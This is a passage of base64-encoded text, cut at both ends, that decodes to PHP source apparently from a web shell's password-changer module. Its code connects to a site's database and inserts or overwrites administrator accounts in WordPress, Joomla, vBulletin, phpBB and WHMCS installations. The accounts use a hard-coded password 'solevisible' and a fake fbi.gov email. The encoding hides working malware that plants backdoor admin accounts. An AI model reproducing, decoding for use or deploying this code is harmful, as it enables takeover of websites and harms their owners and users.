ciLiRyZXMuIicsJ2Rlc2NyaXB0aW9uJywnc29sZXZpc2libGUnKSwobnVsbCwnIi4kcmVzLiInLCdyaWNoX2VkaXRpbmcnLCd0cnVlJyksKG51bGwsJyIuJHJlcy4iJywnY29tbWVudF9zaG9ydGN1dHMnLCdmYWxzZScpLChudWxsLCciLiRyZXMuIicsJ2FkbWluX2NvbG9yJywnZnJlc2gnKSwobnVsbCwnIi4kcmVzLiInLCd1c2Vfc3NsJywnMCcpLChudWxsLCciLiRyZXMuIicsJ3Nob3dfYWRtaW5fYmFyX2Zyb250JywndHJ1ZScpLChudWxsLCciLiRyZXMuIicsJyIuJHByZWZpeC4iY2FwYWJpbGl0aWVzJywnYToxOntzOjEzOlwiYWRtaW5pc3RyYXRvclwiO2I6MTt9JyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJ1c2VyX2xldmVsJywnMTAnKSwobnVsbCwnIi4kcmVzLiInLCdzaG93X3dlbGNvbWVfcGFuZWwnLCcxJyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJkYXNoYm9hcmRfcXVpY2tfcHJlc3NfbGFzdF9wb3N0X2lkJywnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJ2pvb21sYScpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSm9vbWxhIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2pvb21sYScpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyxcJ2pvb21sYVwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ2pvc18nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChpZCxuYW1lLHVzZXJuYW1lLGVtYWlsLHBhc3N3b3JkKSB2YWx1ZXMobnVsbCwnU3VwZXIgVXNlcicsJyIuJGFkbWluLiInLCciLiRTUUwuIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgaWQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGUgPUBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9QG15c3FsaV9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOwokcmVzID0gJHNvbGV2aXNbJ2lkJ107Cn0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIklOU0VSVCBJTlRPICIuJHByZWZpeC4idXNlcl91c2VyZ3JvdXBfbWFwICh1c2VyX2lkLGdyb3VwX2lkKSBWQUxVRVMgKCciLiRyZXMuIicsICc4JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoJF9QT1NUWydhbGZhNCddICYmICRfUE9TVFsnYWxmYTQnXSA9PSAndmInKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZCdWxsZXRpbiB8PGRpdj48cD4nLmdldENvbmZpZ0h0bWwoJ3ZiJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsXCd2YlwnLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJHB3X2NvbCA9IEBteXNxbGlfY29ubmVjdCgiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZSA9ICd7JHByZWZpeH11c2VyJyBhbmQgY29sdW1uX25hbWUgPSAncGFzc3dvcmQnIGFuZCB0YWJsZV9zY2hlbWEgPSAneyRkYXRhYmFzZX0nIik7CiRwd19jb2wgPSBAbXlzcWxpX251bV9yb3dzKCRwd19jb2wpOwokYWRtX3Blcm0gPSAiMTY3NDQ0NDQiOwppZigkcHdfY29sID4gMCl7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH11c2VyICh1c2VyaWQsdXNlcmdyb3VwaWQsdXNlcm5hbWUscGFzc3dvcmQsc2FsdCxlbWFpbCxwYXNzd29yZGRhdGUsam9pbmRhdGUpIHZhbHVlcyhudWxsLCc2JywnJGFkbWluJywnNTJlMjhiNzhmNTU2NDFjZDQ2MThhZDFhMjBmNWZkNWMnLCdYd3xJYkdMaFRRQS1Bd0FwVnY+NjF5Xih6XSo8UU4nLCckU1FMJywnIi5kYXRlKCdZLW0tZCcpLiInLCciLnRpbWUoKS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7Cn1lbHNlewokYWRtX3Blcm0gPSAiMjE0MzI1NjQ0NCI7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH11c2VyICh1c2VyaWQsdXNlcmdyb3VwaWQsdXNlcm5hbWUsdG9rZW4sc2VjcmV0LGVtYWlsLHBhc3N3b3JkZGF0ZSxqb2luZGF0ZSxzY2hlbWUsYmlydGhkYXlfc2VhcmNoKSB2YWx1ZXMobnVsbCwnNicsJyRhZG1pbicsJ1wkMnlcJDEwXCRZc1ZoVi45dExuekJZeGFyMUJKQUdPM3ZGejY4L3FEVTdKdDYyU0RkTHk2bFVUOU41Wi93cScsJ1FmfkFEZUF9aUFleS0mI0FMUUY8fS91QkRxU253PicsJyRTUUwnLCciLmRhdGUoJ1ktbS1kJykuIicsJyIudGltZSgpLiInLCdibG93ZmlzaDoxMCcsJzE5ODQtMDUtMjAnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVzZXJpZCBmcm9tIHskcHJlZml4fXVzZXIgd2hlcmUgdXNlcm5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZSA9IG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOwppZigkc29sZSA9PSAxKXsKJHNvbGV2aXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWyd1c2VyaWQnXTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9YWRtaW5pc3RyYXRvciAodXNlcmlkLGFkbWlucGVybWlzc2lvbnMpIHZhbHVlcygnIi4kcmVzLiInLCciLiRhZG1fcGVybS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNSddKSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJ3BocGJiJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgcGhwQkIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgncGhwYmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLFwncGhwYmJcJyx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNCddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRoYXNoID0gbWQ1KCdzb2xldmlzaWJsZScpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kYWRtaW4uIicgV0hFUkUgdXNlcm5hbWVfY2xlYW4gPSAnYWRtaW4nIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJGhhc2guIicgV0hFUkUgdXNlcl90eXBlID0gMyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX2VtYWlsID0nIi4kU1FMLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTsKfQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSAmJiAkX1BPU1RbJ2FsZmE2J10gPT0gJ3dobWNzJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV2htY3MgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsXCd3aG1jc1wnLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhOCddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gdGJsYWRtaW5zIChpZCxyb2xlaWQsdXNlcm5hbWUscGFzc3dvcmQsZW1haWwsdGVtcGxhdGUsaG9tZXdpZGdldHMpIHZhbHVlcyhudWxsLCcxJywnIi4kYWRtaW4uIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JywnIi4kU1FMLiInLCdibGVuZCcsJ2dldHRpbmdfc3RhcnRlZDp0cnVlLG9yZGVyc19vdmVydmlldzp0cnVlLHN1cHBvcnR0aWNrZXRzX292ZXJ2aWV3OnRydWUsbXlfbm90ZXM6dHJ1ZSxjbGllbnRfYWN0aXZpdHk6dHJ1ZSxvcGVuX2ludm9pY2VzOnRydWUsYWN0aXZpdHlfbG9nOnRydWV8aW5jb21lX292ZXJ2aWV3O